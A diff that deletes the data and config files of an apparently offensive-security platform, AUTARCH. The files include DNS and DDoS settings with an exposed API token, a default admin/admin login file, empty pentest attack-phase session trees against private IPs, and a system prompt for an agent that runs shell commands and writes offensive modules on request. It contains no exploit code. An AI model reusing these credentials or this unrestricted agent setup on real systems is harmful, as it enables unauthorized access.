vL5GYTc5gSceoUzgBFWVVfLP2TYYyDpss/LFnWnvWMqqrvsW8WNaMmHeOI9RA+Q+
rcOjxi7VwDmjm6iwvWFNAgMBAAGjUzBRMB0GA1UdDgQWBBQzYwznwTj7ZM89NikD
ty1B33oAlDAfBgNVHSMEGDAWgBQzYwznwTj7ZM89NikDty1B33oAlDAPBgNVHRMB
Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBhp5GxpRz0lw4uRhJvw3ewhPX6
UHBnWqMb3g4e3zc7RVWqcN4gj9j4ZTFoJxOs2Hw+VfO1i+x3/f4CSxmFrd6FcqNl
B7rRl1+9zup6Me2EQ+XM6mS4Xwf6gmjSvetpcpJAk42c52JdiXq29zZgAPG9n7iz
DrHN70wsB/xGbA2XqcwsOuy3uoBR3TSj9ka3gzrRC1JkP0phcKxlxUYigWaBB/uH
pl5APHqN5fvPyXkiTdX0YQpnRGONm+aMO/LUutIZj4dghQdpJBdDQgv7r3MZl5Z5
Q1UWqnkFwgO4/sjd7yU7u7DODV5/QIzJ9BWRyhIOXiTArU1+M80SP79WJHKa
-----END CERTIFICATE-----

View File

@@ -1,8 +0,0 @@
{
"enabled": false,
"auto_block_top_talkers": true,
"auto_enable_syn_cookies": true,
"connection_threshold": 100,
"syn_threshold": 50,
"updated": "2026-03-02T23:30:44.437461"
}

View File

@@ -1,10 +0,0 @@
{
"listen_dns": "10.0.0.56:53",
"listen_api": "127.0.0.1:5380",
"api_token": "5ed79350fed2490d2aca6f3b29776365",
"upstream": [],
"cache_ttl": 300,
"zones_dir": "C:\\she\\autarch\\data\\dns\\zones",
"dnssec_keys_dir": "C:\\she\\autarch\\data\\dns\\keys",
"log_queries": true
}

View File

@@ -1,53 +0,0 @@
{
"domain": "autarch.local",
"soa": {
"primary_ns": "ns1.autarch.local",
"admin_email": "admin.autarch.local",
"serial": 1772537115,
"refresh": 3600,
"retry": 600,
"expire": 86400,
"min_ttl": 300
},
"records": [
{
"id": "ns1",
"type": "NS",
"name": "autarch.local.",
"value": "ns1.autarch.local.",
"ttl": 3600
},
{
"id": "mx1",
"type": "MX",
"name": "autarch.local.",
"value": "mx.autarch.local.",
"ttl": 3600,
"priority": 10
},
{
"id": "spf1",
"type": "TXT",
"name": "autarch.local.",
"value": "v=spf1 ip4:127.0.0.1 -all",
"ttl": 3600
},
{
"id": "dmarc1",
"type": "TXT",
"name": "_dmarc.autarch.local.",
"value": "v=DMARC1; p=none; rua=mailto:dmarc@autarch.local",
"ttl": 3600
},
{
"id": "r1772537722879235900",
"type": "A",
"name": "https://autarch.local",
"value": "10.0.0.56:8181",
"ttl": 300
}
],
"dnssec": true,
"created_at": "2026-03-03T11:25:07Z",
"updated_at": "2026-03-03T12:24:00Z"
}

View File

@@ -1,2 +0,0 @@
Site,URL,Category,Status,Confidence
GitHub,https://github.com/test,,good,85
1 Site URL Category Status Confidence
2 GitHub https://github.com/test good 85

View File

@@ -1,13 +0,0 @@
{
"query": "testuser",
"exported": "2026-02-14T04:18:34.669640",
"total_results": 1,
"results": [
{
"name": "GitHub",
"url": "https://github.com/test",
"status": "good",
"rate": 85
}
]
}

View File

@@ -1,98 +0,0 @@
You are Hal, the AI agent powering Project AUTARCH — an autonomous security platform built by darkHal Security Group.
## Your Capabilities
You can read files, write files, execute shell commands, search the codebase, and create new AUTARCH modules on demand. When a user asks you to build a tool or module, you build it.
## AUTARCH Codebase Structure
- `modules/` — Plugin modules (Python files). Each one is a standalone tool.
- `core/` — Framework internals (llm.py, agent.py, tools.py, config.py, wireshark.py, etc.)
- `web/` — Flask web dashboard (routes/, templates/, static/)
- `data/` — Databases, configs, JSON files
- `models/` — LLM model files (GGUF)
## Module Categories
| Category | Color | Purpose |
|----------|-------|---------|
| defense | Blue | Security hardening, monitoring, firewalls |
| offense | Red | Penetration testing, exploitation |
| counter | Purple | Counter-intelligence, threat response |
| analyze | Cyan | Analysis, forensics, packet inspection |
| osint | Green | Open source intelligence gathering |
| simulate | Yellow | Attack simulation, red team exercises |
## How to Create a Module
Every module in `modules/` MUST have these attributes and a `run()` function:
```python
"""
Module description docstring
"""
import os
import sys
import subprocess
from pathlib import Path
# Module metadata — REQUIRED
DESCRIPTION = "What this module does"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "defense" # One of: defense, offense, counter, analyze, osint, simulate
sys.path.insert(0, str(Path(__file__).parent.parent))
from core.banner import Colors, clear_screen, display_banner
class ModuleClassName:
"""Main class for this module."""
def print_status(self, message, status="info"):
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
def run_cmd(self, cmd, timeout=30):
try:
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
return r.returncode == 0, r.stdout.strip()
except Exception as e:
return False, str(e)
# Add your methods here...
def run():
"""Entry point for CLI mode."""
mod = ModuleClassName()
# Interactive menu or direct execution
```
## Important Rules
1. Use the `create_module` tool to write modules — it validates and saves them automatically
2. Always include the metadata: DESCRIPTION, AUTHOR, VERSION, CATEGORY
3. Always include a `run()` function
4. Use `subprocess.run()` for system commands — support both Windows (PowerShell/netsh) and Linux (bash)
5. Import from `core.banner` for Colors
6. Module filenames should be lowercase with underscores (e.g., `port_scanner.py`)
7. Study existing modules with `read_file` if you need to understand patterns
8. The web dashboard discovers modules automatically from the `modules/` directory
## Platform
This system runs on Windows. Use PowerShell commands where appropriate, but also support Linux fallbacks.
## Existing Modules (for reference)
- defender.py — System hardening checks (CATEGORY: defense)
- defender_windows.py — Windows-native security checks (CATEGORY: defense)
- defender_monitor.py — Real-time threat monitoring (CATEGORY: defense)
- recon.py — Network reconnaissance (CATEGORY: offense)
- counter.py — Counter-intelligence tools (CATEGORY: counter)
- adultscan.py — Adult content scanner (CATEGORY: analyze)
- agent_hal.py — AI security automation (CATEGORY: core)
- wireshark.py — Packet analysis (CATEGORY: analyze)
- hardware_local.py — Hardware interaction (CATEGORY: hardware)
## How You Should Respond
- For simple questions: answer directly
- For module creation requests: use the create_module tool
- For system queries: use the shell tool
- For code exploration: use read_file and search_files
- Always explain what you're doing and why

View File

@@ -1,129 +0,0 @@
{
"session_id": "10_0_0_56_20260214_010220",
"target": "10.0.0.56",
"state": "completed",
"created_at": "2026-02-14T01:02:20.746609",
"updated_at": "2026-02-14T01:12:20.951316",
"notes": "",
"step_count": 0,
"tree": {
"target": "10.0.0.56",
"created_at": "2026-02-14T01:02:20.746597",
"updated_at": "2026-02-14T01:02:20.746742",
"root_nodes": [
"e0d00dbc",
"cf120ead",
"6f4a664c",
"814f0376",
"5b602881",
"4d2e70e8"
],
"nodes": {
"e0d00dbc": {
"id": "e0d00dbc",
"label": "Reconnaissance",
"node_type": "reconnaissance",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Information gathering and target enumeration",
"tool_output": null,
"findings": [],
"priority": 1,
"created_at": "2026-02-14T01:02:20.746668",
"updated_at": "2026-02-14T01:02:20.746668"
},
"cf120ead": {
"id": "cf120ead",
"label": "Initial Access",
"node_type": "initial_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Gaining initial foothold on target",
"tool_output": null,
"findings": [],
"priority": 2,
"created_at": "2026-02-14T01:02:20.746685",
"updated_at": "2026-02-14T01:02:20.746685"
},
"6f4a664c": {
"id": "6f4a664c",
"label": "Privilege Escalation",
"node_type": "privilege_escalation",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Escalating from initial access to higher privileges",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-02-14T01:02:20.746699",
"updated_at": "2026-02-14T01:02:20.746699"
},
"814f0376": {
"id": "814f0376",
"label": "Lateral Movement",
"node_type": "lateral_movement",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Moving to other systems in the network",
"tool_output": null,
"findings": [],
"priority": 4,
"created_at": "2026-02-14T01:02:20.746711",
"updated_at": "2026-02-14T01:02:20.746711"
},
"5b602881": {
"id": "5b602881",
"label": "Credential Access",
"node_type": "credential_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Obtaining credentials and secrets",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-02-14T01:02:20.746726",
"updated_at": "2026-02-14T01:02:20.746726"
},
"4d2e70e8": {
"id": "4d2e70e8",
"label": "Persistence",
"node_type": "persistence",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Maintaining access to compromised systems",
"tool_output": null,
"findings": [],
"priority": 5,
"created_at": "2026-02-14T01:02:20.746739",
"updated_at": "2026-02-14T01:02:20.746739"
}
}
},
"events": [
{
"timestamp": "2026-02-14T01:02:20.746747",
"event_type": "state_change",
"data": {
"from": "idle",
"to": "running"
}
},
{
"timestamp": "2026-02-14T01:12:20.951316",
"event_type": "state_change",
"data": {
"from": "running",
"to": "completed",
"summary": ""
}
}
],
"findings": [],
"pipeline_history": []
}

View File

@@ -1,120 +0,0 @@
{
"session_id": "192_168_1_100_20260127_202421",
"target": "192.168.1.100",
"state": "running",
"created_at": "2026-01-27T20:24:21.604010",
"updated_at": "2026-01-27T20:24:21.604098",
"notes": "",
"step_count": 0,
"tree": {
"target": "192.168.1.100",
"created_at": "2026-01-27T20:24:21.604003",
"updated_at": "2026-01-27T20:24:21.604091",
"root_nodes": [
"4be13ed9",
"8dc38740",
"22ee2768",
"2c45477f",
"6f793ae8",
"778fc896"
],
"nodes": {
"4be13ed9": {
"id": "4be13ed9",
"label": "Reconnaissance",
"node_type": "reconnaissance",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Information gathering and target enumeration",
"tool_output": null,
"findings": [],
"priority": 1,
"created_at": "2026-01-27T20:24:21.604032",
"updated_at": "2026-01-27T20:24:21.604032"
},
"8dc38740": {
"id": "8dc38740",
"label": "Initial Access",
"node_type": "initial_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Gaining initial foothold on target",
"tool_output": null,
"findings": [],
"priority": 2,
"created_at": "2026-01-27T20:24:21.604044",
"updated_at": "2026-01-27T20:24:21.604044"
},
"22ee2768": {
"id": "22ee2768",
"label": "Privilege Escalation",
"node_type": "privilege_escalation",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Escalating from initial access to higher privileges",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-01-27T20:24:21.604056",
"updated_at": "2026-01-27T20:24:21.604056"
},
"2c45477f": {
"id": "2c45477f",
"label": "Lateral Movement",
"node_type": "lateral_movement",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Moving to other systems in the network",
"tool_output": null,
"findings": [],
"priority": 4,
"created_at": "2026-01-27T20:24:21.604066",
"updated_at": "2026-01-27T20:24:21.604066"
},
"6f793ae8": {
"id": "6f793ae8",
"label": "Credential Access",
"node_type": "credential_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Obtaining credentials and secrets",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-01-27T20:24:21.604077",
"updated_at": "2026-01-27T20:24:21.604077"
},
"778fc896": {
"id": "778fc896",
"label": "Persistence",
"node_type": "persistence",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Maintaining access to compromised systems",
"tool_output": null,
"findings": [],
"priority": 5,
"created_at": "2026-01-27T20:24:21.604088",
"updated_at": "2026-01-27T20:24:21.604088"
}
}
},
"events": [
{
"timestamp": "2026-01-27T20:24:21.604098",
"event_type": "state_change",
"data": {
"from": "idle",
"to": "running"
}
}
],
"findings": [],
"pipeline_history": []
}

View File

@@ -1,120 +0,0 @@
{
"session_id": "192_168_50_78_20260130_133833",
"target": "192.168.50.78",
"state": "running",
"created_at": "2026-01-30T13:38:33.830336",
"updated_at": "2026-01-30T13:38:33.830464",
"notes": "",
"step_count": 0,
"tree": {
"target": "192.168.50.78",
"created_at": "2026-01-30T13:38:33.830323",
"updated_at": "2026-01-30T13:38:33.830460",
"root_nodes": [
"e4c40c28",
"ddd63828",
"b3f2634d",
"9c162c78",
"aa40d5a3",
"0c50a23d"
],
"nodes": {
"e4c40c28": {
"id": "e4c40c28",
"label": "Reconnaissance",
"node_type": "reconnaissance",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Information gathering and target enumeration",
"tool_output": null,
"findings": [],
"priority": 1,
"created_at": "2026-01-30T13:38:33.830390",
"updated_at": "2026-01-30T13:38:33.830390"
},
"ddd63828": {
"id": "ddd63828",
"label": "Initial Access",
"node_type": "initial_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Gaining initial foothold on target",
"tool_output": null,
"findings": [],
"priority": 2,
"created_at": "2026-01-30T13:38:33.830408",
"updated_at": "2026-01-30T13:38:33.830408"
},
"b3f2634d": {
"id": "b3f2634d",
"label": "Privilege Escalation",
"node_type": "privilege_escalation",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Escalating from initial access to higher privileges",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-01-30T13:38:33.830421",
"updated_at": "2026-01-30T13:38:33.830421"
},
"9c162c78": {
"id": "9c162c78",
"label": "Lateral Movement",
"node_type": "lateral_movement",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Moving to other systems in the network",
"tool_output": null,
"findings": [],
"priority": 4,
"created_at": "2026-01-30T13:38:33.830433",
"updated_at": "2026-01-30T13:38:33.830433"
},
"aa40d5a3": {
"id": "aa40d5a3",
"label": "Credential Access",
"node_type": "credential_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Obtaining credentials and secrets",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-01-30T13:38:33.830445",
"updated_at": "2026-01-30T13:38:33.830445"
},
"0c50a23d": {
"id": "0c50a23d",
"label": "Persistence",
"node_type": "persistence",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Maintaining access to compromised systems",
"tool_output": null,
"findings": [],
"priority": 5,
"created_at": "2026-01-30T13:38:33.830457",
"updated_at": "2026-01-30T13:38:33.830457"
}
}
},
"events": [
{
"timestamp": "2026-01-30T13:38:33.830464",
"event_type": "state_change",
"data": {
"from": "idle",
"to": "running"
}
}
],
"findings": [],
"pipeline_history": []
}

View File

@@ -1,120 +0,0 @@
{
"session_id": "example_com_20260128_192244",
"target": "example.com",
"state": "running",
"created_at": "2026-01-28T19:22:44.670292",
"updated_at": "2026-01-28T19:22:44.670428",
"notes": "test",
"step_count": 0,
"tree": {
"target": "example.com",
"created_at": "2026-01-28T19:22:44.670279",
"updated_at": "2026-01-28T19:22:44.670423",
"root_nodes": [
"466dcf04",
"55991daa",
"e3209082",
"af036f87",
"633c0eeb",
"8584f7fc"
],
"nodes": {
"466dcf04": {
"id": "466dcf04",
"label": "Reconnaissance",
"node_type": "reconnaissance",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Information gathering and target enumeration",
"tool_output": null,
"findings": [],
"priority": 1,
"created_at": "2026-01-28T19:22:44.670353",
"updated_at": "2026-01-28T19:22:44.670353"
},
"55991daa": {
"id": "55991daa",
"label": "Initial Access",
"node_type": "initial_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Gaining initial foothold on target",
"tool_output": null,
"findings": [],
"priority": 2,
"created_at": "2026-01-28T19:22:44.670371",
"updated_at": "2026-01-28T19:22:44.670371"
},
"e3209082": {
"id": "e3209082",
"label": "Privilege Escalation",
"node_type": "privilege_escalation",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Escalating from initial access to higher privileges",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-01-28T19:22:44.670384",
"updated_at": "2026-01-28T19:22:44.670384"
},
"af036f87": {
"id": "af036f87",
"label": "Lateral Movement",
"node_type": "lateral_movement",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Moving to other systems in the network",
"tool_output": null,
"findings": [],
"priority": 4,
"created_at": "2026-01-28T19:22:44.670397",
"updated_at": "2026-01-28T19:22:44.670397"
},
"633c0eeb": {
"id": "633c0eeb",
"label": "Credential Access",
"node_type": "credential_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Obtaining credentials and secrets",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-01-28T19:22:44.670408",
"updated_at": "2026-01-28T19:22:44.670408"
},
"8584f7fc": {
"id": "8584f7fc",
"label": "Persistence",
"node_type": "persistence",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Maintaining access to compromised systems",
"tool_output": null,
"findings": [],
"priority": 5,
"created_at": "2026-01-28T19:22:44.670420",
"updated_at": "2026-01-28T19:22:44.670420"
}
}
},
"events": [
{
"timestamp": "2026-01-28T19:22:44.670428",
"event_type": "state_change",
"data": {
"from": "idle",
"to": "running"
}
}
],
"findings": [],
"pipeline_history": []
}

View File

@@ -1,97 +0,0 @@
#!/usr/bin/env python3
"""AUTARCH LoRA Training Script (Transformers + PEFT)"""
import json
import torch
from datasets import Dataset
from transformers import (
AutoModelForCausalLM, AutoTokenizer, TrainingArguments,
BitsAndBytesConfig,
)
from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training
from trl import SFTTrainer
# Quantization config
bnb_config = BitsAndBytesConfig(
load_in_4bit=True,
bnb_4bit_quant_type="nf4",
bnb_4bit_compute_dtype=torch.float16,
bnb_4bit_use_double_quant=True,
) if True else None
print("Loading base model: models/Hal_v2.gguf")
model = AutoModelForCausalLM.from_pretrained(
"models/Hal_v2.gguf",
quantization_config=bnb_config,
device_map="auto",
trust_remote_code=False,
)
tokenizer = AutoTokenizer.from_pretrained("models/Hal_v2.gguf", trust_remote_code=False)
if tokenizer.pad_token is None:
tokenizer.pad_token = tokenizer.eos_token
if True:
model = prepare_model_for_kbit_training(model)
# LoRA config
lora_config = LoraConfig(
r=16,
lora_alpha=32,
lora_dropout=0.05,
target_modules=["q_proj", "k_proj", "v_proj", "o_proj",
"gate_proj", "up_proj", "down_proj"],
bias="none",
task_type="CAUSAL_LM",
)
model = get_peft_model(model, lora_config)
model.print_trainable_parameters()
# Load dataset
samples = []
with open("C:\she\autarch\data\training\autarch_dataset_20260302_202634.jsonl", "r") as f:
for line in f:
samples.append(json.loads(line))
def format_sample(sample):
if "conversations" in sample:
msgs = sample["conversations"]
text = ""
for msg in msgs:
role = "user" if msg["from"] == "human" else "assistant"
text += f"<|im_start|>{role}\n{msg['value']}<|im_end|>\n"
return {"text": text}
else:
return {"text": f"<|im_start|>user\n{sample['instruction']}\n{sample.get('input','')}<|im_end|>\n<|im_start|>assistant\n{sample['output']}<|im_end|>\n"}
dataset = Dataset.from_list([format_sample(s) for s in samples])
print(f"Dataset: {len(dataset)} samples")
# Train
trainer = SFTTrainer(
model=model,
tokenizer=tokenizer,
train_dataset=dataset,
dataset_text_field="text",
max_seq_length=2048,
args=TrainingArguments(
output_dir="C:\she\autarch\data\training\output",
num_train_epochs=3,
per_device_train_batch_size=4,
gradient_accumulation_steps=4,
learning_rate=0.0002,
warmup_ratio=0.03,
save_steps=50,
logging_steps=10,
fp16=True,
optim="adamw_8bit",
report_to="none",
),
)
print("Starting training...")
trainer.train()
print("Training complete!")
# Save
model.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
tokenizer.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
print(f"LoRA adapter saved to C:\she\autarch\data\training\output/lora_adapter")

View File

@@ -1,14 +0,0 @@
C:\she\autarch\data\training\train_lora.py:50: SyntaxWarning: invalid escape sequence '\s'
with open("C:\she\autarch\data\training\autarch_dataset_20260302_202634.jsonl", "r") as f:
C:\she\autarch\data\training\train_lora.py:76: SyntaxWarning: invalid escape sequence '\s'
output_dir="C:\she\autarch\data\training\output",
C:\she\autarch\data\training\train_lora.py:95: SyntaxWarning: invalid escape sequence '\s'
model.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
C:\she\autarch\data\training\train_lora.py:96: SyntaxWarning: invalid escape sequence '\s'
tokenizer.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
C:\she\autarch\data\training\train_lora.py:97: SyntaxWarning: invalid escape sequence '\s'
print(f"LoRA adapter saved to C:\she\autarch\data\training\output/lora_adapter")
Traceback (most recent call last):
File "C:\she\autarch\data\training\train_lora.py", line 5, in <module>
from datasets import Dataset
ModuleNotFoundError: No module named 'datasets'

View File

@@ -1,5 +0,0 @@
{
"username": "admin",
"password": "admin",
"force_change": true
}

View File

@@ -1,91 +0,0 @@
Metadata-Version: 2.4
Name: Flask
Version: 3.1.3
Summary: A simple framework for building complex web applications.
Maintainer-email: Pallets <contact@palletsprojects.com>
Requires-Python: >=3.9
Description-Content-Type: text/markdown
License-Expression: BSD-3-Clause
Classifier: Development Status :: 5 - Production/Stable
Classifier: Environment :: Web Environment
Classifier: Framework :: Flask
Classifier: Intended Audience :: Developers
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python
Classifier: Topic :: Internet :: WWW/HTTP :: Dynamic Content
Classifier: Topic :: Internet :: WWW/HTTP :: WSGI
Classifier: Topic :: Internet :: WWW/HTTP :: WSGI :: Application
Classifier: Topic :: Software Development :: Libraries :: Application Frameworks
Classifier: Typing :: Typed
License-File: LICENSE.txt
Requires-Dist: blinker>=1.9.0
Requires-Dist: click>=8.1.3
Requires-Dist: importlib-metadata>=3.6.0; python_version < '3.10'
Requires-Dist: itsdangerous>=2.2.0
Requires-Dist: jinja2>=3.1.2
Requires-Dist: markupsafe>=2.1.1
Requires-Dist: werkzeug>=3.1.0
Requires-Dist: asgiref>=3.2 ; extra == "async"
Requires-Dist: python-dotenv ; extra == "dotenv"
Project-URL: Changes, https://flask.palletsprojects.com/page/changes/
Project-URL: Chat, https://discord.gg/pallets
Project-URL: Documentation, https://flask.palletsprojects.com/
Project-URL: Donate, https://palletsprojects.com/donate
Project-URL: Source, https://github.com/pallets/flask/
Provides-Extra: async
Provides-Extra: dotenv
<div align="center"><img src="https://raw.githubusercontent.com/pallets/flask/refs/heads/stable/docs/_static/flask-name.svg" alt="" height="150"></div>
# Flask
Flask is a lightweight [WSGI] web application framework. It is designed
to make getting started quick and easy, with the ability to scale up to
complex applications. It began as a simple wrapper around [Werkzeug]
and [Jinja], and has become one of the most popular Python web
application frameworks.
Flask offers suggestions, but doesn't enforce any dependencies or
project layout. It is up to the developer to choose the tools and
libraries they want to use. There are many extensions provided by the
community that make adding new functionality easy.
[WSGI]: https://wsgi.readthedocs.io/
[Werkzeug]: https://werkzeug.palletsprojects.com/
[Jinja]: https://jinja.palletsprojects.com/
## A Simple Example
```python
# save this as app.py
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello, World!"
```
```
$ flask run
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
```
## Donate
The Pallets organization develops and supports Flask and the libraries
it uses. In order to grow the community of contributors and users, and
allow the maintainers to devote more time to the projects, [please
donate today].
[please donate today]: https://palletsprojects.com/donate
## Contributing
See our [detailed contributing documentation][contrib] for many ways to
contribute, including reporting issues, requesting features, asking or answering
questions, and making PRs.
[contrib]: https://palletsprojects.com/contributing/

View File

@@ -1,58 +0,0 @@
../../Scripts/flask.exe,sha256=_mabYvHWmDHkSxw_t4DPmbl08U6onGV1eQJ0z8Tx9HY,108357
flask-3.1.3.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
flask-3.1.3.dist-info/METADATA,sha256=qmdg7W9UVwRHTXBzPkpjp_FIHjdpc-3IlqE9AqciTHw,3167
flask-3.1.3.dist-info/RECORD,,
flask-3.1.3.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
flask-3.1.3.dist-info/WHEEL,sha256=G2gURzTEtmeR8nrdXUJfNiB3VYVxigPQ-bEQujpNiNs,82
flask-3.1.3.dist-info/entry_points.txt,sha256=bBP7hTOS5fz9zLtC7sPofBZAlMkEvBxu7KqS6l5lvc4,40
flask-3.1.3.dist-info/licenses/LICENSE.txt,sha256=SJqOEQhQntmKN7uYPhHg9-HTHwvY-Zp5yESOf_N9B-o,1475
flask/__init__.py,sha256=mHvJN9Swtl1RDtjCqCIYyIniK_SZ_l_hqUynOzgpJ9o,2701
flask/__main__.py,sha256=bYt9eEaoRQWdejEHFD8REx9jxVEdZptECFsV7F49Ink,30
flask/__pycache__/__init__.cpython-313.pyc,,
flask/__pycache__/__main__.cpython-313.pyc,,
flask/__pycache__/app.cpython-313.pyc,,
flask/__pycache__/blueprints.cpython-313.pyc,,
flask/__pycache__/cli.cpython-313.pyc,,
flask/__pycache__/config.cpython-313.pyc,,
flask/__pycache__/ctx.cpython-313.pyc,,
flask/__pycache__/debughelpers.cpython-313.pyc,,
flask/__pycache__/globals.cpython-313.pyc,,
flask/__pycache__/helpers.cpython-313.pyc,,
flask/__pycache__/logging.cpython-313.pyc,,
flask/__pycache__/sessions.cpython-313.pyc,,
flask/__pycache__/signals.cpython-313.pyc,,
flask/__pycache__/templating.cpython-313.pyc,,
flask/__pycache__/testing.cpython-313.pyc,,
flask/__pycache__/typing.cpython-313.pyc,,
flask/__pycache__/views.cpython-313.pyc,,
flask/__pycache__/wrappers.cpython-313.pyc,,
flask/app.py,sha256=k7tW8LHRSldUi6zKsFKK7Axa_WL4zu1e2wPNthIsu7o,61719
flask/blueprints.py,sha256=p5QE2lY18GItbdr_RKRpZ8Do17g0PvQGIgZkSUDhX2k,4541
flask/cli.py,sha256=Pfh72-BxlvoH0QHCDOc1HvXG7Kq5Xetf3zzNz2kNSHk,37184
flask/config.py,sha256=PiqF0DPam6HW0FH4CH1hpXTBe30NSzjPEOwrz1b6kt0,13219
flask/ctx.py,sha256=oMe0TRsScW0qdaIqavVsk8P9qiEvAY5VHn1FAgkX8nk,15521
flask/debughelpers.py,sha256=PGIDhStW_efRjpaa3zHIpo-htStJOR41Ip3OJWPYBwo,6080
flask/globals.py,sha256=XdQZmStBmPIs8t93tjx6pO7Bm3gobAaONWkFcUHaGas,1713
flask/helpers.py,sha256=rJZge7_J288J1UQv5-kNf4oEaw332PP8NTW0QRIBbXE,23517
flask/json/__init__.py,sha256=hLNR898paqoefdeAhraa5wyJy-bmRB2k2dV4EgVy2Z8,5602
flask/json/__pycache__/__init__.cpython-313.pyc,,
flask/json/__pycache__/provider.cpython-313.pyc,,
flask/json/__pycache__/tag.cpython-313.pyc,,
flask/json/provider.py,sha256=5imEzY5HjV2HoUVrQbJLqXCzMNpZXfD0Y1XqdLV2XBA,7672
flask/json/tag.py,sha256=DhaNwuIOhdt2R74oOC9Y4Z8ZprxFYiRb5dUP5byyINw,9281
flask/logging.py,sha256=8sM3WMTubi1cBb2c_lPkWpN0J8dMAqrgKRYLLi1dCVI,2377
flask/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
flask/sansio/README.md,sha256=-0X1tECnilmz1cogx-YhNw5d7guK7GKrq_DEV2OzlU0,228
flask/sansio/__pycache__/app.cpython-313.pyc,,
flask/sansio/__pycache__/blueprints.cpython-313.pyc,,
flask/sansio/__pycache__/scaffold.cpython-313.pyc,,
flask/sansio/app.py,sha256=whGURQDkN0jmhS4CHO7DQ96GGlZS0kETkKkAkoRjl4U,38106
flask/sansio/blueprints.py,sha256=Tqe-7EkZ-tbWchm8iDoCfD848f0_3nLv6NNjeIPvHwM,24637
flask/sansio/scaffold.py,sha256=wSASXYdFRWJmqcL0Xq-T7N-PDVUSiFGvjO9kPZg58bk,30371
flask/sessions.py,sha256=eywRqmytTmYnX_EC78-YBGJoTc5XD_lRphQG5LbN1d0,14969
flask/signals.py,sha256=V7lMUww7CqgJ2ThUBn1PiatZtQanOyt7OZpu2GZI-34,750
flask/templating.py,sha256=vbIkwYAxsSEfDxQID1gKRvBQQcGWEuWYCnH0XK3EqOI,7678
flask/testing.py,sha256=zzC7XxhBWOP9H697IV_4SG7Lg3Lzb5PWiyEP93_KQXE,10117
flask/typing.py,sha256=L-L5t2jKgS0aOmVhioQ_ylqcgiVFnA6yxO-RLNhq-GU,3293
flask/views.py,sha256=xzJx6oJqGElThtEghZN7ZQGMw5TDFyuRxUkecwRuAoA,6962
flask/wrappers.py,sha256=jUkv4mVek2Iq4hwxd4RvqrIMb69Bv0PElDgWLmd5ORo,9406

View File

@@ -1,4 +0,0 @@
Wheel-Version: 1.0
Generator: flit 3.12.0
Root-Is-Purelib: true
Tag: py3-none-any

View File

@@ -1,3 +0,0 @@
[console_scripts]
flask=flask.cli:main

View File

@@ -1,28 +0,0 @@
Copyright 2010 Pallets
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
